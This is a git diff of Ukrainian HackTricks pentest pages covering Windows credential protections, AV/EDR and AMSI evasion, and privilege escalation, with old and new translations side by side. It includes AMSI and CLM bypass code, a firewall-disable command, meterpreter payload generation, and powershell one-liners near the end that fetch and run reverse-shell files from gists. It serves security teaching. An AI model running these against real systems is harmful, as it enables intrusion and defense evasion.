Паролі для gMSA зберігаються в LDAP-властивості _**msDS-ManagedPassword**_ і автоматично скидаються кожні 30 днів контролерами домену (DC). Цей пароль, зашифрований об'єкт даних, відомий як [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), може бути отриманий лише авторизованими адміністраторами та серверами, на яких встановлені gMSA, що забезпечує безпечне середовище. Для доступу до цієї інформації потрібне захищене з'єднання, таке як LDAPS, або з'єднання повинно бути автентифіковане з 'Sealing & Secure'.
![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png)
@ -156,21 +158,21 @@ Microsoft розробила **Group Managed Service Accounts (gMSA)** для с
```
[**Знайдіть більше інформації в цьому пості**](https://cube0x0.github.io/Relaying-for-gMSA/)
Також перегляньте цю [веб-сторінку](https://cube0x0.github.io/Relaying-for-gMSA/) про те, як виконати **атаку NTLM реле** для **читання** **пароля** **gMSA**.
Також перегляньте цю [веб-сторінку](https://cube0x0.github.io/Relaying-for-gMSA/) про те, як виконати **NTLM relay attack** для **читання** **пароля** **gMSA**.
## LAPS
**Рішення для паролів локального адміністратора (LAPS)**, доступне для завантаження з [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), дозволяє керувати паролями локальних адміністраторів. Ці паролі, які є **випадковими**, унікальними та **регулярно змінюються**, зберігаються централізовано в Active Directory. Доступ до цих паролів обмежений через ACL для авторизованих користувачів. При наданні достатніх дозволів надається можливість читати паролі локальних адміністраторів.
**Рішення для паролів локального адміністратора (LAPS)**, доступне для завантаження з [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), дозволяє керувати паролями локальних адміністраторів. Ці паролі, які є **випадковими**, унікальними та **регулярно змінюються**, зберігаються централізовано в Active Directory. Доступ до цих паролів обмежений через ACL для авторизованих користувачів. За наявності достатніх прав надається можливість читати паролі локальних адміністраторів.
{{#ref}}
../active-directory-methodology/laps.md
{{#endref}}
## Режим обмеженої мови PowerShell
## PS Constrained Language Mode
PowerShell [**Режим обмеженої мови**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **блокує багато функцій**, необхідних для ефективного використання PowerShell, таких як блокування COM-об'єктів, дозволяючи лише затверджені типи .NET, XAML-робочі процеси, класи PowerShell та інше.
### **Перевірте**
### **Перевірити**
```powershell
$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage
@ -180,7 +182,7 @@ $ExecutionContext.SessionState.LanguageMode
#Easy bypass
Powershell -version 2
```
У сучасному Windows цей обхід не спрацює, але ви можете використовувати [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
У поточному Windows цей обхід не спрацює, але ви можете використовувати [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
**Щоб скомпілювати його, вам може знадобитися** **додати** **_Посилання_** -> ерегляд_ -> ерегляд_ -> додати `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` і **змінити проект на .Net4.5**.
#### Прямий обхід:
@ -221,7 +223,7 @@ $command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.T
Це API, яке можна використовувати для автентифікації користувачів.
SSPI буде відповідати за пошук відповідного протоколу для двох машин, які хочуть спілкуватися. Переважним методом для цього є Kerberos. Потім SSPI буде вести переговори про те, який протокол автентифікації буде використовуватися, ці протоколи автентифікації називаються постачальниками підтримки безпеки (SSP), розташовані в кожній машині Windows у формі DLL, і обидві машини повинні підтримувати один і той же, щоб мати можливість спілкуватися.
SSPI буде відповідати за знаходження відповідного протоколу для двох машин, які хочуть спілкуватися. Переважним методом для цього є Kerberos. Потім SSPI буде вести переговори про те, який протокол автентифікації буде використовуватися, ці протоколи автентифікації називаються постачальниками підтримки безпеки (SSP), розташовані в кожній машині Windows у формі DLL, і обидві машини повинні підтримувати один і той же, щоб мати можливість спілкуватися.
### Основні SSP

View File

@ -2,16 +2,15 @@
{{#include ../banners/hacktricks-training.md}}
**Цю сторінку написав** [**@m2rc_p**](https://twitter.com/m2rc_p)**!**
## **Методологія ухилення від AV**
На даний момент, AV використовують різні методи для перевірки, чи є файл шкідливим, чи ні: статичне виявлення, динамічний аналіз, а для більш просунутих EDR - поведінковий аналіз.
Наразі AV використовують різні методи для перевірки, чи є файл шкідливим, чи ні: статичне виявлення, динамічний аналіз, а для більш просунутих EDR - поведінковий аналіз.
### **Статичне виявлення**
Статичне виявлення досягається шляхом позначення відомих шкідливих рядків або масивів байтів у бінарному файлі або скрипті, а також витягування інформації з самого файлу (наприклад, опис файлу, назва компанії, цифрові підписи, іконка, контрольна сума тощо). Це означає, що використання відомих публічних інструментів може призвести до того, що вас легше спіймають, оскільки їх, ймовірно, вже проаналізували і позначили як шкідливі. Є кілька способів обійти таке виявлення:
Статичне виявлення досягається шляхом позначення відомих шкідливих рядків або масивів байтів у бінарному файлі або скрипті, а також витягування інформації з самого файлу (наприклад, опис файлу, назва компанії, цифрові підписи, значок, контрольна сума тощо). Це означає, що використання відомих публічних інструментів може призвести до того, що вас легше спіймають, оскільки їх, ймовірно, вже проаналізували та позначили як шкідливі. Є кілька способів обійти таке виявлення:
- **Шифрування**
@ -19,20 +18,20 @@
- **Обфускація**
Іноді все, що вам потрібно зробити, це змінити кілька рядків у вашому бінарному файлі або скрипті, щоб пройти повз AV, але це може бути трудомістким завданням, залежно від того, що ви намагаєтеся обфускувати.
Іноді все, що вам потрібно зробити, це змінити кілька рядків у вашому бінарному файлі або скрипті, щоб обійти AV, але це може бути трудомістким завданням, залежно від того, що ви намагаєтеся обфускувати.
- **Користувацькі інструменти**
Якщо ви розробите свої власні інструменти, не буде відомих поганих підписів, але це вимагає багато часу та зусиль.
Якщо ви розробите свої власні інструменти, не буде відомих поганих підписів, але це потребує багато часу та зусиль.
> [!NOTE]
> Хороший спосіб перевірки на статичне виявлення Windows Defender - це [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Він в основному розділяє файл на кілька сегментів, а потім просить Defender просканувати кожен з них окремо, таким чином, він може точно сказати вам, які рядки або байти були позначені у вашому бінарному файлі.
> Хороший спосіб перевірити статичне виявлення Windows Defender - це [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Він в основному розділяє файл на кілька сегментів, а потім просить Defender просканувати кожен з них окремо, таким чином, він може точно сказати вам, які рядки або байти у вашому бінарному файлі були позначені.
Я настійно рекомендую вам ознайомитися з цим [YouTube плейлистом](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) про практичне ухилення від AV.
### **Динамічний аналіз**
Динамічний аналіз - це коли AV запускає ваш бінарний файл у пісочниці та спостерігає за шкідливою активністю (наприклад, намагаючись розшифрувати та прочитати паролі вашого браузера, виконуючи мінідамп на LSASS тощо). Ця частина може бути трохи складнішою для роботи, але ось кілька речей, які ви можете зробити, щоб уникнути пісочниць.
Динамічний аналіз - це коли AV запускає ваш бінарний файл у пісочниці та спостерігає за шкідливою активністю (наприклад, намагається розшифрувати та прочитати паролі вашого браузера, виконує мінідамп на LSASS тощо). Ця частина може бути трохи складнішою для роботи, але ось кілька речей, які ви можете зробити, щоб уникнути пісочниць.
- **Сон перед виконанням** Залежно від того, як це реалізовано, це може бути чудовим способом обійти динамічний аналіз AV. AV має дуже короткий час для сканування файлів, щоб не переривати робочий процес користувача, тому використання тривалих снів може порушити аналіз бінарних файлів. Проблема в тому, що багато пісочниць AV можуть просто пропустити сон, залежно від того, як це реалізовано.
- **Перевірка ресурсів машини** Зазвичай пісочниці мають дуже мало ресурсів для роботи (наприклад, < 2 ГБ ОП), інакше вони можуть сповільнити машину користувача. Ви також можете бути дуже креативними тут, наприклад, перевіряючи температуру ЦП або навіть швидкість вентиляторів, не все буде реалізовано в пісочниці.
@ -50,24 +49,24 @@
Наприклад, якщо ви хочете скинути LSASS, **чи дійсно вам потрібно використовувати mimikatz**? Чи можете ви використовувати інший проект, який менш відомий і також скидає LSASS.
Правильна відповідь, ймовірно, остання. Взяти mimikatz як приклад, це, ймовірно, один з, якщо не найбільш позначених шкідливих програм AV та EDR, хоча сам проект дуже класний, з ним також важко працювати, щоб обійти AV, тому просто шукайте альтернативи для того, що ви намагаєтеся досягти.
Правильна відповідь, ймовірно, остання. Взяти mimikatz як приклад, це, ймовірно, один з, якщо не найбільш позначених шкідливих програм AV та EDR, хоча сам проект супер класний, з ним також важко працювати, щоб обійти AV, тому просто шукайте альтернативи для того, що ви намагаєтеся досягти.
> [!NOTE]
> Коли ви модифікуєте свої вантажі для ухилення, переконайтеся, що ви **вимкнули автоматичну подачу зразків** в Defender, і, будь ласка, серйозно, **НЕ ЗАВАНТАЖУЙТЕ НА VIRUSTOTAL**, якщо ваша мета - досягти ухилення в довгостроковій перспективі. Якщо ви хочете перевірити, чи виявляє ваш вантаж певний AV, встановіть його на віртуальну машину, спробуйте вимкнути автоматичну подачу зразків і протестуйте його там, поки не будете задоволені результатом.
> Коли ви модифікуєте свої корисні навантаження для ухилення, переконайтеся, що ви **вимкнули автоматичну подачу зразків** у Defender, і, будь ласка, серйозно, **НЕ ЗАВАНТАЖУЙТЕ НА VIRUSTOTAL**, якщо ваша мета - досягти ухилення в довгостроковій перспективі. Якщо ви хочете перевірити, чи ваше корисне навантаження виявляється певним AV, встановіть його на віртуальну машину, спробуйте вимкнути автоматичну подачу зразків і протестуйте його там, поки не будете задоволені результатом.
## EXEs проти DLLs
Коли це можливо, завжди **надавайте перевагу використанню DLL для ухилення**, на мій погляд, файли DLL зазвичай **значно менше виявляються** та аналізуються, тому це дуже простий трюк, який можна використовувати, щоб уникнути виявлення в деяких випадках (якщо ваш вантаж має якийсь спосіб виконання як DLL, звичайно).
Коли це можливо, завжди **надавайте перевагу використанню DLL для ухилення**, на мій погляд, файли DLL зазвичай **значно менше виявляються** та аналізуються, тому це дуже простий трюк, який можна використовувати, щоб уникнути виявлення в деяких випадках (якщо ваше корисне навантаження має якийсь спосіб виконання як DLL, звичайно).
Як ми можемо бачити на цьому зображенні, вантаж DLL з Havoc має рівень виявлення 4/26 на antiscan.me, тоді як вантаж EXE має рівень виявлення 7/26.
Як ми можемо бачити на цьому зображенні, навантаження DLL від Havoc має рівень виявлення 4/26 на antiscan.me, тоді як навантаження EXE має рівень виявлення 7/26.
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>порівняння вантажу звичайного Havoc EXE з вантажем звичайного Havoc DLL на antiscan.me</p></figcaption></figure>
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>порівняння звичайного навантаження EXE Havoc з звичайним навантаженням DLL Havoc</p></figcaption></figure>
Тепер ми покажемо кілька трюків, які ви можете використовувати з файлами DLL, щоб бути набагато непомітнішими.
## Завантаження DLL та проксування
**Завантаження DLL** використовує порядок пошуку DLL, що використовується завантажувачем, розміщуючи як жертву, так і шкідливі вантажі поруч один з одним.
**Завантаження DLL** використовує порядок пошуку DLL, що використовується завантажувачем, розміщуючи як жертву, так і шкідливі навантаження поруч один з одним.
Ви можете перевірити програми, які підлягають завантаженню DLL, використовуючи [Siofra](https://github.com/Cybereason/siofra) та наступний скрипт PowerShell:
```powershell
@ -82,7 +81,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
Просто розмістивши шкідливий DLL з ім'ям, яке програма очікує завантажити, не завантажить ваш вантаж, оскільки програма очікує деякі специфічні функції всередині цього DLL. Щоб вирішити цю проблему, ми використаємо іншу техніку, звану **DLL Proxying/Forwarding**.
**DLL Proxying** перенаправляє виклики, які програма робить з проксі (і шкідливого) DLL до оригінального DLL, таким чином зберігаючи функціональність програми та здатність обробляти виконання вашого вантажу.
**DLL Proxying** пересилає виклики, які програма робить з проксі (і шкідливого) DLL до оригінального DLL, таким чином зберігаючи функціональність програми та здатність обробляти виконання вашого вантажу.
Я буду використовувати проект [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) від [@flangvik](https://twitter.com/Flangvik/)
@ -103,16 +102,16 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
<figure><img src="../images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
Як наш shellcode (закодований за допомогою [SGN](https://github.com/EgeBalci/sgn)), так і проксі DLL мають 0/26 рівень виявлення на [antiscan.me](https://antiscan.me)! Я б назвав це успіхом.
Обидва наші shellcode (закодовані за допомогою [SGN](https://github.com/EgeBalci/sgn)) та проксі DLL мають 0/26 рівень виявлення на [antiscan.me](https://antiscan.me)! Я б назвав це успіхом.
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> Я **щиро рекомендую** вам подивитися [twitch VOD S3cur3Th1sSh1t](https://www.twitch.tv/videos/1644171543) про DLL Sideloading, а також [відео ippsec](https://www.youtube.com/watch?v=3eROsG_WNpE), щоб дізнатися більше про те, що ми обговорювали більш детально.
> Я **щиро рекомендую** вам подивитися [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) про DLL Sideloading, а також [відео ippsec](https://www.youtube.com/watch?v=3eROsG_WNpE), щоб дізнатися більше про те, що ми обговорювали більш детально.
## [**Freeze**](https://github.com/optiv/Freeze)
`Freeze - це набір інструментів для обходу EDR, використовуючи призупинені процеси, прямі системні виклики та альтернативні методи виконання`
`Freeze - це набір інструментів для обходу EDR, використовуючи призупинені процеси, прямі syscalls та альтернативні методи виконання`
Ви можете використовувати Freeze для завантаження та виконання вашого shellcode у прихований спосіб.
```
@ -124,11 +123,11 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
<figure><img src="../images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> Уникнення - це просто гра в кішки-мишки, те, що працює сьогодні, може бути виявлено завтра, тому ніколи не покладайтеся лише на один інструмент, якщо можливо, спробуйте поєднувати кілька технік уникнення.
> Уникнення - це просто гра в кішки-мишки, те, що працює сьогодні, може бути виявлено завтра, тому ніколи не покладайтеся лише на один інструмент, якщо це можливо, спробуйте поєднувати кілька технік уникнення.
## AMSI (Інтерфейс сканування антивірусного програмного забезпечення)
AMSI був створений для запобігання "[безфайловому шкідливому ПЗ](https://en.wikipedia.org/wiki/Fileless_malware)". Спочатку антивірусні програми могли сканувати лише **файли на диску**, тому, якщо ви могли якимось чином виконати корисне навантаження **безпосередньо в пам'яті**, антивірус не міг нічого зробити, щоб цьому запобігти, оскільки не мав достатньої видимості.
AMSI був створений для запобігання "[безфайловому шкідливому ПЗ](https://en.wikipedia.org/wiki/Fileless_malware)". Спочатку антивірусні програми могли лише сканувати **файли на диску**, тому, якщо ви могли якимось чином виконати корисне навантаження **безпосередньо в пам'яті**, антивірус не міг нічого зробити, щоб цьому запобігти, оскільки не мав достатньої видимості.
Функція AMSI інтегрована в ці компоненти Windows.
@ -138,9 +137,9 @@ AMSI був створений для запобігання "[безфайло
- JavaScript та VBScript
- Макроси Office VBA
Це дозволяє антивірусним рішенням перевіряти поведінку скриптів, відкриваючи вміст скриптів у формі, яка є як незашифрованою, так і не заплутаною.
Вона дозволяє антивірусним рішенням перевіряти поведінку скриптів, відкриваючи вміст скриптів у формі, яка є як незашифрованою, так і не заплутаною.
Виконання `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` викличе наступне сповіщення в Windows Defender.
Виконання `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` призведе до появи наступного сповіщення в Windows Defender.
<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
@ -158,7 +157,7 @@ AMSI був створений для запобігання "[безфайло
- **AMSI Bypass**
Оскільки AMSI реалізується шляхом завантаження DLL у процес PowerShell (також cscript.exe, wscript.exe тощо), його можна легко підробити, навіть працюючи як неправа користувача. Через цей недолік у реалізації AMSI дослідники знайшли кілька способів уникнути сканування AMSI.
Оскільки AMSI реалізується шляхом завантаження DLL у процес PowerShell (також cscript.exe, wscript.exe тощо), його можна легко підробити, навіть працюючи як неправа користувач. Через цей недолік у реалізації AMSI дослідники знайшли кілька способів уникнути сканування AMSI.
**Примусова помилка**
@ -200,12 +199,12 @@ $Spotfix.SetValue($null,$true)
Існує кілька інструментів, які можна використовувати для **обфускації C# коду у відкритому тексті**, генерувати **метапрограмні шаблони** для компіляції бінарних файлів або **обфускації скомпільованих бінарних файлів**, таких як:
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# обфускатор**
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Метою цього проекту є надання відкритого коду форку компіляційного пакету [LLVM](http://www.llvm.org/), здатного забезпечити підвищену безпеку програмного забезпечення через [обфускацію коду](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) та захист від підробки.
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Метою цього проекту є надання відкритого форка компіляційного пакету [LLVM](http://www.llvm.org/), здатного забезпечити підвищену безпеку програмного забезпечення через [обфускацію коду](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) та захист від підробки.
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator демонструє, як використовувати мову `C++11/14` для генерації, під час компіляції, обфускованого коду без використання будь-якого зовнішнього інструменту та без модифікації компілятора.
- [**obfy**](https://github.com/fritzone/obfy): Додає шар обфускованих операцій, згенерованих за допомогою шаблонного метапрограмування C++, що ускладнить життя людині, яка хоче зламати додаток.
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz - це обфускатор бінарних файлів x64, який здатний обфускувати різні файли pe, включаючи: .exe, .dll, .sys
- [**metame**](https://github.com/a0rtega/metame): Metame - це простий метаморфний кодовий двигун для довільних виконуваних файлів.
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator - це детальний фреймворк обфускації коду для мов, що підтримуються LLVM, з використанням ROP (програмування, орієнтоване на повернення). ROPfuscator обфускує програму на рівні асемблерного коду, перетворюючи звичайні інструкції на ROP-ланцюги, що заважає нашому природному сприйняттю нормального контролю потоку.
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator - це детальний фреймворк обфускації коду для мов, що підтримуються LLVM, з використанням ROP (програмування, орієнтованого на повернення). ROPfuscator обфускує програму на рівні асемблера, перетворюючи звичайні інструкції на ROP-ланцюги, що заважає нашому природному сприйняттю нормального потоку управління.
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt - це .NET PE Crypter, написаний на Nim.
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor здатний перетворювати існуючі EXE/DLL у shellcode, а потім завантажувати їх.
@ -217,14 +216,14 @@ Microsoft Defender SmartScreen - це механізм безпеки, приз
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
SmartScreen в основному працює на основі репутації, що означає, що незвичайно завантажені програми активують SmartScreen, тим самим попереджаючи та заважаючи кінцевому користувачу виконувати файл (хоча файл все ще можна виконати, натиснувши Більше інформації -> Запустити все ж).
SmartScreen в основному працює на основі репутації, що означає, що незвичайно завантажені програми викликають SmartScreen, тим самим попереджаючи та заважаючи кінцевому користувачу виконувати файл (хоча файл все ще можна виконати, натиснувши Більше інформації -> Запустити все ж).
**MoTW** (Mark of The Web) - це [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) з назвою Zone.Identifier, який автоматично створюється під час завантаження файлів з Інтернету разом з URL-адресою, з якої він був завантажений.
<figure><img src="../images/image (237).png" alt=""><figcaption><p>Перевірка Zone.Identifier ADS для файлу, завантаженого з Інтернету.</p></figcaption></figure>
> [!NOTE]
> Важливо зазначити, що виконувані файли, підписані **достовірним** сертифікатом підпису, **не активують SmartScreen**.
> Важливо зазначити, що виконувані файли, підписані **достовірним** сертифікатом підпису, **не викликають SmartScreen**.
Дуже ефективний спосіб запобігти тому, щоб ваші корисні навантаження отримали Mark of The Web, - це упакувати їх у якийсь контейнер, наприклад, ISO. Це відбувається тому, що Mark-of-the-Web (MOTW) **не може** бути застосований до **не NTFS** томів.
@ -268,7 +267,7 @@ Adding file: /TotallyLegitApp.exe
- **Fork\&Run**
Це передбачає **створення нового жертвеного процесу**, ін'єкцію вашого шкідливого коду після експлуатації в цей новий процес, виконання вашого шкідливого коду, а коли закінчите, вбити новий процес. Це має свої переваги та недоліки. Перевага методу fork and run полягає в тому, що виконання відбувається **ззовні** нашого процесу Beacon. Це означає, що якщо щось у нашій дії після експлуатації піде не так або буде виявлено, є **набагато більша ймовірність** того, що наш **імплант виживе.** Недолік полягає в тому, що у вас є **більша ймовірність** бути спійманим за допомогою **поведінкових виявлень**.
Це передбачає **створення нового жертвеного процесу**, ін'єкцію вашого шкідливого коду після експлуатації в цей новий процес, виконання вашого шкідливого коду, а коли закінчите, вбити новий процес. Це має свої переваги та недоліки. Перевага методу fork and run полягає в тому, що виконання відбувається **ззовні** нашого процесу Beacon implant. Це означає, що якщо щось у нашій дії після експлуатації піде не так або буде виявлено, є **набагато більша ймовірність** того, що наш **імплант виживе.** Недолік полягає в тому, що у вас є **більша ймовірність** бути спійманим за допомогою **поведінкових виявлень**.
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
@ -279,7 +278,7 @@ Adding file: /TotallyLegitApp.exe
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> Якщо ви хочете дізнатися більше про завантаження збірок C#, будь ласка, ознайомтеся з цією статтею [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) та їх BOF InlineExecute-Assembly ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
> Якщо ви хочете дізнатися більше про завантаження збірок C#, будь ласка, ознайомтеся з цією статтею [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) та їх InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
Ви також можете завантажувати збірки C# **з PowerShell**, ознайомтеся з [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) та [відео S3cur3th1sSh1t](https://www.youtube.com/watch?v=oe11Q-3Akuk).
@ -289,28 +288,32 @@ Adding file: /TotallyLegitApp.exe
Дозволяючи доступ до бінарних файлів інтерпретатора та середовища на SMB-ресурсі, ви можете **виконувати довільний код на цих мовах в пам'яті** скомпрометованої машини.
Репозиторій вказує: Defender все ще сканує скрипти, але, використовуючи Go, Java, PHP тощо, ми маємо **більшу гнучкість для обходу статичних підписів**. Тестування випадкових не обфусцированих реверс-shell скриптів на цих мовах виявилося успішним.
Репозиторій вказує: Defender все ще сканує скрипти, але, використовуючи Go, Java, PHP тощо, ми маємо **більшу гнучкість для обходу статичних підписів**. Тестування випадкових не обфускованих реверс-shell скриптів на цих мовах виявилося успішним.
## Розширене ухилення
Ухилення - це дуже складна тема, іноді вам потрібно враховувати багато різних джерел телеметрії в одній системі, тому практично неможливо залишатися повністю непоміченим у зрілих середовищах.
Ухилення - це дуже складна тема, іноді потрібно враховувати багато різних джерел телеметрії в одній системі, тому практично неможливо залишатися повністю непоміченим у зрілих середовищах.
Кожне середовище, з яким ви стикаєтеся, матиме свої власні сильні та слабкі сторони.
Я настійно рекомендую вам подивитися цю доповідь від [@ATTL4S](https://twitter.com/DaniLJ94), щоб отримати уявлення про більш розширені техніки ухилення.
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
{{#ref}}
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
{{#endref}}
Це також ще одна чудова доповідь від [@mariuszbit](https://twitter.com/mariuszbit) про ухилення в глибині.
{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}
{{#ref}}
https://www.youtube.com/watch?v=IbA7Ung39o4
{{#endref}}
## **Старі техніки**
### **Перевірте, які частини Defender вважає шкідливими**
Ви можете використовувати [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck), який **видалить частини бінарного файлу**, поки не **виявить, яка частина Defender** вважає шкідливою, і розділить це для вас.\
Інший інструмент, який робить **те саме, це** [**avred**](https://github.com/dobin/avred) з відкритим веб-сайтом, що пропонує послугу на [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
Ви можете використовувати [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck), який **видалить частини бінарного файлу**, поки не **виявить, яка частина Defender** вважає шкідливою, і розділить її для вас.\
Інший інструмент, який робить **те саме** - це [**avred**](https://github.com/dobin/avred) з відкритим веб-сайтом, що пропонує послугу в [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
### **Telnet Server**
@ -345,9 +348,9 @@ netsh advfirewall set allprofiles state off
**ПОПЕРЕДЖЕННЯ:** Щоб зберегти прихованість, ви не повинні робити кілька речей
- Не запускайте `winvnc`, якщо він вже працює, або ви викличете [вікно сповіщення](https://i.imgur.com/1SROTTl.png). перевірте, чи він працює за допомогою `tasklist | findstr winvnc`
- Не запускайте `winvnc`, якщо він вже працює, інакше ви викличете [вікно сповіщення](https://i.imgur.com/1SROTTl.png). перевірте, чи він працює за допомогою `tasklist | findstr winvnc`
- Не запускайте `winvnc` без `UltraVNC.ini` в тій же директорії, інакше відкриється [вікно конфігурації](https://i.imgur.com/rfMQWcf.png)
- Не запускайте `winvnc -h` для отримання допомоги, або ви викличете [вікно сповіщення](https://i.imgur.com/oc18wcu.png)
- Не запускайте `winvnc -h` для отримання допомоги, інакше ви викличете [вікно сповіщення](https://i.imgur.com/oc18wcu.png)
### GreatSCT
@ -369,7 +372,7 @@ sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole
```
Тепер **почніть лістинг** з `msfconsole -r file.rc` та **виконайте** **xml payload** за допомогою:
Тепер **почніть лістер** з `msfconsole -r file.rc` та **виконайте** **xml payload** з:
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
```
@ -474,7 +477,9 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g
32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
```
{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %}
{{#ref}}
https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f
{{#endref}}
Список обфускаторів C#: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
@ -524,5 +529,4 @@ https://github.com/praetorian-code/vulcan
- [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
### **Найкращий інструмент для пошуку векторів підвищення привілеїв у Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### **Найкращий інструмент для пошуку векторів підвищення локальних привілеїв Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
## Початкова теорія Windows
@ -134,7 +134,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
```
Логування подій для Script Block можна знайти в Windows Event Viewer за шляхом: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\
Логи подій для Script Block можна знайти в Windows Event Viewer за шляхом: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\
Щоб переглянути останні 20 подій, ви можете використати:
```bash
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
@ -167,7 +167,7 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
Тоді, **це експлуатовано.** Якщо останній реєстр дорівнює 0, то запис WSUS буде проігноровано.
Для експлуатації цих вразливостей ви можете використовувати інструменти, такі як: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - це скрипти експлойтів MiTM для введення 'фальшивих' оновлень у трафік WSUS без SSL.
Для експлуатації цих вразливостей ви можете використовувати інструменти, такі як: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - це скрипти експлойтів MiTM, які дозволяють ввести 'фальшиві' оновлення в трафік WSUS без SSL.
Прочитайте дослідження тут:
@ -180,13 +180,13 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
